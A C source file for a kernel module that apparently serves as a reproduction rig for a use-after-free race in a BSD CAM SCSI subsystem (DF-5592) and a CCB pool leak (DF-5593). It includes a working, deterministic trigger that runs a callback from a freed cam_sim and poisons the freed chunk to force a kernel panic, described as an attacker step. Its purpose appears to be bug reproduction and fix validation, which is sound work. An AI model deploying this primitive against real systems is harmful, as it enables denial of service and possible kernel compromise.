/*
 * ptsim3.ko -- DF-5592 / DF-5593 rig.
 *
 * DF-5592: cam_sim_release() (cam_sim.c:241-256) frees the cam_sim with
 * no synchronization against the deferred-completion subsystem:
 *   - xpt_done() (cam_xpt.c:4891-4926) inserts the ccb on sim->sim_doneq
 *     under sim->sim_spin ONLY (no sim lock -- lock-free by design, this
 *     is how driver interrupt/kthread completions enter CAM), then links
 *     the sim onto the global cam_simq under cam_simq_spin and calls
 *     setsoftcambio().
 *   - swi_cambio -> camisr (cam_xpt.c:7389-7407) pops the sim off
 *     cam_simq (under cam_simq_spin) and ONLY THEN takes CAM_SIM_LOCK --
 *     so a detach thread that already holds the sim lock runs its whole
 *     xpt_bus_deregister() + cam_sim_free() while camisr is blocked
 *     holding nothing but a raw pointer to the sim.
 *   - the driver detach protocol (ahci_cam.c:210-227, virtio_scsi.c:
 *     675-687, atapi-cam.c:895-900, mpr_sas.c:955-956) is exactly:
 *     lock; xpt_bus_deregister(); cam_sim_free(); unlock.
 *   => kfree(sim) happens while camisr still has the sim in its local
 *     queue; when the lock is released, camisr dereferences AND WRITES
 *     the freed chunk (lockmgr at 7402, flags clear at 7403,
 *     spin_lock/camisr_runqueue at 7415-7417).
 *
 * Reproduced deterministically with production symbols only
 * (cam_sim_alloc, xpt_bus_register, xpt_action, xpt_done,
 * xpt_bus_deregister, cam_sim_free).  The "hardware delay" is ptsim2's
 * (DF-5550) proven deferred-completion kthread calling the REAL
 * xpt_done() from a context that holds no sim lock -- precisely the
 * privilege a controller interrupt handler has.
 *
 * noattach=1 (default): INQUIRY completes CAM_REQ_INVALID so no
 * da/pass periphs attach; probe ccbs still flow (that is what we park),
 * and bus deregistration has an empty periphery (avoids unrelated
 * destroy_dev-under-lock teardown noise in the rig).
 *
 * Knobs:
 *   debug.ptsim3.noattach      1 = fail INQUIRY (no periphs)
 *   debug.ptsim3.scan=1        run XPT_SCAN_BUS (sim lock held)
 *   debug.ptsim3.delay         completion delay in ticks (parks ccbs)
 *   debug.ptsim3.go=N          1 = marker UAF-write proof (reclaim+flag)
 *                              2 = poison (panic: trap in camisr)
 *                              3 = DF-5593 leak measurement + detach
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/types.h>
#include <sys/spinlock2.h>
#include <sys/queue.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

MALLOC_DEFINE(M_PTS3, "ptsim3", "ptsim3 poison");

static struct lock		 pts3_lock;
static struct cam_sim		*pts3_sim;
static int			 pts3_noattach = 1;
static int			 pts3_delay;		/* ticks */
static int			 pts3_hold = 1;		/* completer parked */
static int			 pts3_release_one;	/* completer: xpt_done 1 */
static volatile int		 pts3_released;
static volatile int		 pts3_stop;
static int			 pts3_ios;
static int			 pts3_parked;
static int			 pts3_done_calls;
static int			 pts3_scans;

static TAILQ_HEAD(, ccb_hdr)	 pts3_backlog =
				    TAILQ_HEAD_INITIALIZER(pts3_backlog);
static struct spinlock		 pts3_spin;

/* snapshot of the sim for reclaim modes */
static struct cam_sim		 pts3_saved;
static void			*pts3_sim_addr;

/* marker ccb: pre-inserted into sim_doneq right before cam_sim_free;
 * if camisr_runqueue pops it AFTER the free, pts3_marker_hit flips --
 * proof the kernel executed a completion out of a FREED sim. */
static struct {
	struct ccb_hdr	h;
}				 pts3_marker;
static volatile int		 pts3_marker_hit;
static struct cam_periph		 pts3_dummy_periph;

static void
pts3_marker_done(struct cam_periph *periph, union ccb *done_ccb)
{
	pts3_marker_hit = 1;
	kprintf("[PTSIM3] *** MARKER CCB CALLBACK EXECUTED FROM FREED SIM "
	    "(camisr_runqueue -> cbfcnp, cam_xpt.c:7506) ***\n");
}

static void pts3_action(struct cam_sim *sim, union ccb *ccb);
static void pts3_poll(struct cam_sim *sim);
static void pts3_scan_done(struct cam_periph *, union ccb *);

static u_int8_t pts3_inq36[36] = {
	0x00,			/* T_DIRECT, qual 0 -> da+pass attach */
	0x00, 0x02, 0x02, 0x00, 0x00, 0x00,
	'E','V','I','L','D','A',' ',' ',
	'P','R','O','C',' ',' ',' ',' ',
	'1','.','0',' ',
};

static void
pts3_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < srclen ? dxfer : srclen;

	if (csio->data_ptr != NULL && copy)
		bcopy(src, csio->data_ptr, copy);
	csio->resid = dxfer - copy;
	csio->scsi_status = SCSI_STATUS_OK;
}

static void
pts3_complete(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

/* "hardware": park the ccb; completer finishes later.  xpt_done() is
 * spin-protected and lock-agnostic (cam_xpt.c:4891). */
static void
pts3_finish(struct ccb_scsiio *csio, cam_status st)
{
	if (pts3_delay > 0 && csio->ccb_h.func_code == XPT_SCSI_IO) {
		spin_lock(&pts3_spin);
		TAILQ_INSERT_TAIL(&pts3_backlog, &csio->ccb_h,
		    sim_links.tqe);
		spin_unlock(&pts3_spin);
		atomic_add_int(&pts3_parked, 1);
		return;
	}
	pts3_complete((union ccb *)csio, st);
}

static void
pts3_io(struct ccb_scsiio *csio)
{
	u_int8_t *cdb = csio->cdb_io.cdb_bytes;

	if (csio->ccb_h.flags & CAM_CDB_POINTER)
		cdb = csio->cdb_io.cdb_ptr;

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		if (pts3_noattach) {
			/* valid transport, no device: probe gives up,
			 * no periph attaches -- but the ccb still parks */
			csio->scsi_status = SCSI_STATUS_OK;
			csio->resid = csio->dxfer_len;
			pts3_finish(csio, CAM_REQ_INVALID);
			return;
		}
		pts3_fill_data(csio, pts3_inq36, 36);
		pts3_finish(csio, CAM_REQ_CMP);
		return;
	case 0x25:		/* READ CAPACITY (10) */
	{
		u_int8_t b[8];
		b[0]=0; b[1]=0x0F; b[2]=0xFF; b[3]=0xFF; b[4]=0; b[5]=0; b[6]=2; b[7]=0;
		if (csio->data_ptr)
			bcopy(b, csio->data_ptr, 8);
		csio->resid = csio->dxfer_len - 8;
		csio->scsi_status = SCSI_STATUS_OK;
		pts3_finish(csio, CAM_REQ_CMP);
		return;
	}
	case 0x28:		/* READ (10) */
	case 0x08:		/* READ (6) */
		if (csio->data_ptr != NULL && csio->dxfer_len)
			memset(csio->data_ptr, 0x5A, csio->dxfer_len);
		csio->resid = 0;
		csio->scsi_status = SCSI_STATUS_OK;
		pts3_finish(csio, CAM_REQ_CMP);
		return;
	case 0x35:		/* SYNCHRONIZE CACHE */
	case 0x0A:		/* SEND */
	case 0x00:		/* TUR */
	case 0x03:		/* REQUEST SENSE */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = csio->dxfer_len;
		pts3_finish(csio, CAM_REQ_CMP);
		return;
	default:
		pts3_finish(csio, CAM_REQ_INVALID);
		return;
	}
}

static void
pts3_action(struct cam_sim *sim, union ccb *ccb)
{
	switch (ccb->ccb_h.func_code) {
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->hba_misc = 0;
		cpi->max_target = 7;
		cpi->max_lun = 0;
		cpi->initiator_id = 15;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->base_transfer_speed = 3300;
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->maxio = 65536;
		strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
		strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
		strncpy(cpi->dev_name, "ptsim3", DEV_IDLEN);
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_GET_TRAN_SETTINGS:
		ccb->cts.type = CTS_TYPE_CURRENT_SETTINGS;
		ccb->cts.transport = XPORT_SPI;
		ccb->cts.transport_version = 2;
		ccb->cts.protocol = PROTO_SCSI;
		ccb->cts.protocol_version = SCSI_REV_2;
		ccb->cts.xport_specific.spi.valid = 0;
		ccb->cts.proto_specific.scsi.valid = 0;
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	case XPT_SCSI_IO:
		atomic_add_int(&pts3_ios, 1);
		pts3_io(&ccb->csio);
		return;
	default:
		pts3_complete(ccb, CAM_REQ_INVALID);
		return;
	}
	xpt_done(ccb);
}

static void
pts3_poll(struct cam_sim *sim)
{
}

/* ---------------- deferred completer kthread (the "hardware IRQ") --- */

static void
pts3_completer(void *arg)
{
	for (;;) {
		struct ccb_hdr *ch;
		int n = 0;

		if (pts3_stop)
			break;
		if (pts3_hold) {
			tsleep(&pts3_hold, 0, "pt3h", 1);
			continue;
		}
		spin_lock(&pts3_spin);
		while ((ch = TAILQ_FIRST(&pts3_backlog)) != NULL) {
			TAILQ_REMOVE(&pts3_backlog, ch, sim_links.tqe);
			spin_unlock(&pts3_spin);
			atomic_subtract_int(&pts3_parked, 1);
			if (pts3_delay > 1 && !pts3_release_one)
				tsleep(&pts3_delay, 0, "pt3d", pts3_delay);
			/* the REAL xpt_done(): no sim lock held --
			 * exactly the interrupt-handler contract */
			pts3_complete((union ccb *)ch, CAM_REQ_CMP);
			atomic_add_int(&pts3_done_calls, 1);
			n++;
			if (pts3_release_one) {
				pts3_released = 1;
				wakeup(&pts3_released);
				pts3_release_one = 0;
				pts3_hold = 1;	/* stop after one */
				spin_lock(&pts3_spin);
				break;
			}
			spin_lock(&pts3_spin);
		}
		spin_unlock(&pts3_spin);
		if (n == 0)
			tsleep(&pts3_backlog, 0, "pt3w", 1);
		else
			lwkt_yield();
	}
	kthread_exit();
	/* NOTREACHED */
}

static void
pts3_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

/* ---------------- DF-5592 dance ---------------- */

static int
pts3_dance(int mode)
{
	int i;

	/* phase A (unlocked): park some probe ccbs via a scan */
	pts3_delay = 1;
	cam_sim_lock(&pts3_lock);
	{
		struct cam_path *path;
		union ccb *ccb;

		if (xpt_create_path(&path, xpt_periph,
		    cam_sim_path(pts3_sim), CAM_TARGET_WILDCARD,
		    CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
			ccb = xpt_alloc_ccb();
			xpt_setup_ccb(&ccb->ccb_h, path, 5);
			ccb->ccb_h.func_code = XPT_SCAN_BUS;
			ccb->ccb_h.cbfcnp = pts3_scan_done;
			xpt_action(ccb);
			atomic_add_int(&pts3_scans, 1);
		}
	}
	cam_sim_unlock(&pts3_lock);

	i = 0;
	while (pts3_parked < 1 && i++ < 40)
		tsleep(&pts3_parked, 0, "pt3w", hz / 4);
	kprintf("[PTSIM3] mode %d: parked=%d ios=%d\n",
	    mode, pts3_parked, pts3_ios);
	if (pts3_parked < 1) {
		kprintf("[PTSIM3] nothing parked -- abort\n");
		return (ENOENT);
	}

	/* phase B: the detach race, deterministic */
	cam_sim_lock(&pts3_lock);

	/* 1. release exactly ONE ccb via the REAL xpt_done() from the
	 *    completer kthread (no sim lock).  swi_cambio preempts it,
	 *    pops our sim off cam_simq, and blocks on CAM_SIM_LOCK which
	 *    WE now hold. */
	pts3_released = 0;
	pts3_release_one = 1;
	pts3_hold = 0;
	wakeup(&pts3_backlog);
	i = 0;
	while (!pts3_released && i++ < 4000000000) {
		cpu_ccfence();
		lwkt_yield();
	}
	if (!pts3_released) {
		kprintf("[PTSIM3] completer never released -- abort\n");
		cam_sim_unlock(&pts3_lock);
		return (ETIMEDOUT);
	}
	kprintf("[PTSIM3] xpt_done() from kthread done; camisr now BLOCKED "
	    "on the sim lock we hold\n");

	/* 2. the ahci_cam_detach() sequence, verbatim */
	pts3_sim_addr = pts3_sim;
	bcopy(pts3_sim, &pts3_saved, sizeof(pts3_saved));
	xpt_bus_deregister(cam_sim_path(pts3_sim));
	kprintf("[PTSIM3] bus deregistered (cam_sim refcount back to 1)\n");

	/* 2b. late-completion emulation: what a lock-free xpt_done() from
	 *     interrupt context does at cam_xpt.c:4904-4907 -- insert a
	 *     ccb onto sim_doneq under sim_spin only.  The swi is still
	 *     blocked on our lock; nobody can drain this before the free. */
	memset(&pts3_marker, 0, sizeof(pts3_marker));
	pts3_marker.h.func_code = XPT_FC_USER_CCB;	/* skip dev bookkeeping */
	pts3_marker.h.status = CAM_REQ_CMP;		/* no release branches */
	pts3_marker.h.cbfcnp = pts3_marker_done;
	pts3_marker.h.path = (struct cam_path *)&pts3_dummy_periph; /* periph arg only */
	spin_lock(&pts3_sim->sim_spin);
	TAILQ_INSERT_TAIL(&pts3_sim->sim_doneq, &pts3_marker.h,
	    sim_links.tqe);
	pts3_marker.h.pinfo.index = CAM_DONEQ_INDEX;
	spin_unlock(&pts3_sim->sim_spin);

	cam_sim_free(pts3_sim);
	kprintf("[PTSIM3] cam_sim_free(%p) returned; chunk refcount now "
	    "reads %d (baseline-unfixed: 0 = already kfree'd while camisr "
	    "is blocked on our lock; DF-5592-fixed: 1 = cam_simq pin held)"
	    "\n", pts3_sim_addr,
	    ((volatile struct cam_sim *)pts3_sim_addr)->refcount);
	pts3_sim = NULL;

	if (mode == 2) {
		/* 3b. the freed chunk is still mapped (kfree does not
		 *     unmap); write it directly -- the standard post-UAF
		 *     attacker step.  camisr then walks the wild doneq
		 *     head and takes a page fault in camisr_runqueue.
		 *     (mode 1 already proved the KERNEL uses this chunk;
		 *     this proves the consequence.) */
		struct cam_sim *p = pts3_sim_addr;

		p->sim_doneq.tqh_first = (struct ccb_hdr *)0x00dead000UL;
		kprintf("[PTSIM3] POISON: freed chunk %p sim_doneq head = "
		    "0x00dead000 -- unlocking so camisr walks it\n", p);
	}

	/* 4. release the sim lock: camisr unblocks into freed memory */
	cam_sim_unlock(&pts3_lock);
	kprintf("[PTSIM3] sim lock RELEASED -- camisr now runs on the "
	    "FREED cam_sim chunk\n");

	if (mode == 4) {
		/* DF-5592 fix validation: the sim must NOT have been
		 * freed while camisr was blocked on our lock.  After
		 * the unlock camisr processes (marker ccb fires with
		 * the sim VALID and pinned), then the pin drops and
		 * the sim is freed. */
		tsleep(&pts3_backlog, 0, "pt3f", 2 * hz);
		kprintf("[PTSIM3] mode 4: marker_hit=%d; freed-chunk "
		    "refcount slot now reads %d (finalize set 0 before "
		    "kfree; 0/garbage = freed AFTER camisr processing)\n",
		    pts3_marker_hit,
		    ((volatile struct cam_sim *)pts3_sim_addr)->refcount);
		if (pts3_marker_hit)
			kprintf("[PTSIM3] mode 4: completion callback ran; "
			    "with the fix this happened while the sim was "
			    "still pinned+valid (no UAF)\n");
		return (0);
	}
	if (mode == 1) {
		tsleep(&pts3_backlog, 0, "pt3m", 2 * hz);
		kprintf("[PTSIM3] after 2s: marker_hit=%d "
		    "(marker ccb was queued ONLY on the freed sim's doneq)\n",
		    pts3_marker_hit);
		if (pts3_marker_hit)
			kprintf("[PTSIM3] *** UAF CONFIRMED: kernel ran a "
			    "completion callback out of a cam_sim chunk that "
			    "cam_sim_free() had already kfree()'d ***\n");
	}
	/* mode 2: trap imminent -- camisr_runqueue walks 0x00dead000 */
	return (0);
}

/* ---------------- DF-5593: pool leak on clean detach ---------------- */

static int
pts3_leakcheck(void)
{
	struct ccb_hdr *ch;
	int n = 0;

	/* drain any parked ccbs cleanly first */
	pts3_delay = 0;
	pts3_hold = 0;
	wakeup(&pts3_backlog);
	tsleep(&pts3_backlog, 0, "pt3q", 3 * hz);
	pts3_hold = 1;

	cam_sim_lock(&pts3_lock);
	SLIST_FOREACH(ch, &pts3_sim->ccb_freeq, xpt_links.sle)
		n++;
	kprintf("[PTSIM3] DF-5593: sim->ccb_count=%d, ccb_freeq length=%d "
	    "(each orphaned union ccb ~%zu bytes + callout, M_CAMXPT)\n",
	    pts3_sim->ccb_count, n, sizeof(union ccb));
	kprintf("[PTSIM3] DF-5593: clean detach (deregister+free): the %d "
	    "pooled ccbs are NOT freed by cam_sim_free()\n", n);
	xpt_bus_deregister(cam_sim_path(pts3_sim));
	cam_sim_free(pts3_sim);
	pts3_sim = NULL;
	kprintf("[PTSIM3] DF-5593: detach DONE; %d ccbs orphaned -- check "
	    "'vmstat -m | grep -i xpt' delta\n", n);
	cam_sim_unlock(&pts3_lock);
	return (0);
}

/* ---------------- sysctls ---------------- */

static int
pts3_sys_go(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (pts3_sim == NULL)
		return (ENXIO);
	switch (do_it) {
	case 1:
	case 2:
		return (pts3_dance(do_it));
	case 3:
		return (pts3_leakcheck());
	case 4:
		return (pts3_dance(4));
	}
	return (EINVAL);
}

static int
pts3_sys_scan(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;
	struct cam_path *path;
	union ccb *ccb;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (pts3_sim == NULL)
		return (ENXIO);

	cam_sim_lock(&pts3_lock);
	if (xpt_create_path(&path, xpt_periph, cam_sim_path(pts3_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = pts3_scan_done;
		xpt_action(ccb);
		atomic_add_int(&pts3_scans, 1);
	}
	cam_sim_unlock(&pts3_lock);
	return (0);
}

static int
pts3_sys_stats(SYSCTL_HANDLER_ARGS)
{
	int v = pts3_sim ? (int)pts3_sim->ccb_count : -1;

	return (sysctl_handle_int(oidp, &v, 0, req));
}

SYSCTL_NODE(_debug, OID_AUTO, ptsim3, CTLFLAG_RW, 0, "ptsim3 control");
SYSCTL_PROC(_debug_ptsim3, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, pts3_sys_go, "I", "1=marker UAF 2=poison(panic) 3=leak check");
SYSCTL_PROC(_debug_ptsim3, OID_AUTO, scan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, pts3_sys_scan, "I", "rescan the bus (sim-locked)");
SYSCTL_PROC(_debug_ptsim3, OID_AUTO, ccbs, CTLTYPE_INT | CTLFLAG_RD,
    0, 0, pts3_sys_stats, "I", "sim ccb pool occupancy");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, noattach, CTLFLAG_RW, &pts3_noattach, 0,
    "fail INQUIRY so no periphs attach");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, delay, CTLFLAG_RW, &pts3_delay, 0,
    "completion delay in ticks (parks ccbs)");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, ios, CTLFLAG_RD, &pts3_ios, 0,
    "scsi ios seen");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, parked, CTLFLAG_RD, &pts3_parked, 0,
    "ccbs parked in backlog");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, donecalls, CTLFLAG_RD, &pts3_done_calls,
    0, "xpt_done calls from completer");
SYSCTL_INT(_debug_ptsim3, OID_AUTO, scans, CTLFLAG_RD, &pts3_scans, 0,
    "scans issued");

/* ---------------- boot choreography ---------------- */

static void
pts3_choreography(void *arg)
{
	pts3_sim = cam_sim_alloc(pts3_action, pts3_poll, "ptsim3", NULL, 0,
	    &pts3_lock, 16, 16, NULL);
	if (pts3_sim == NULL) {
		kprintf("[PTSIM3] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&pts3_lock);
	if (xpt_bus_register(pts3_sim, 0) != CAM_SUCCESS) {
		kprintf("[PTSIM3] xpt_bus_register failed\n");
		cam_sim_unlock(&pts3_lock);
		kthread_exit();
	}
	cam_sim_unlock(&pts3_lock);
	kprintf("[PTSIM3] bus registered; use debug.ptsim3.scan=1 then "
	    "debug.ptsim3.go=N\n");
	kthread_exit();
}

static int
ptsim3_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&pts3_lock, "ptsim3", 0, LK_CANRECURSE);
		spin_init(&pts3_spin, "ptsim3");
		kthread_create(pts3_choreography, NULL, NULL, "ptsim3");
		kthread_create(pts3_completer, NULL, NULL, "ptsim3c");
		break;
	case MOD_UNLOAD:
		if (pts3_sim != NULL) {
			kprintf("[PTSIM3] sim still alive -- unload "
			    "refused\n");
			error = EBUSY;
			break;
		}
		pts3_stop = 1;
		pts3_hold = 0;
		wakeup(&pts3_hold);
		wakeup(&pts3_backlog);
		tsleep(&pts3_stop, 0, "pt3u", 2);
		break;
	default:
		break;
	}
	return (error);
}

static moduledata_t ptsim3_mod = { "ptsim3", ptsim3_modevent, NULL };
DECLARE_MODULE(ptsim3, ptsim3_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);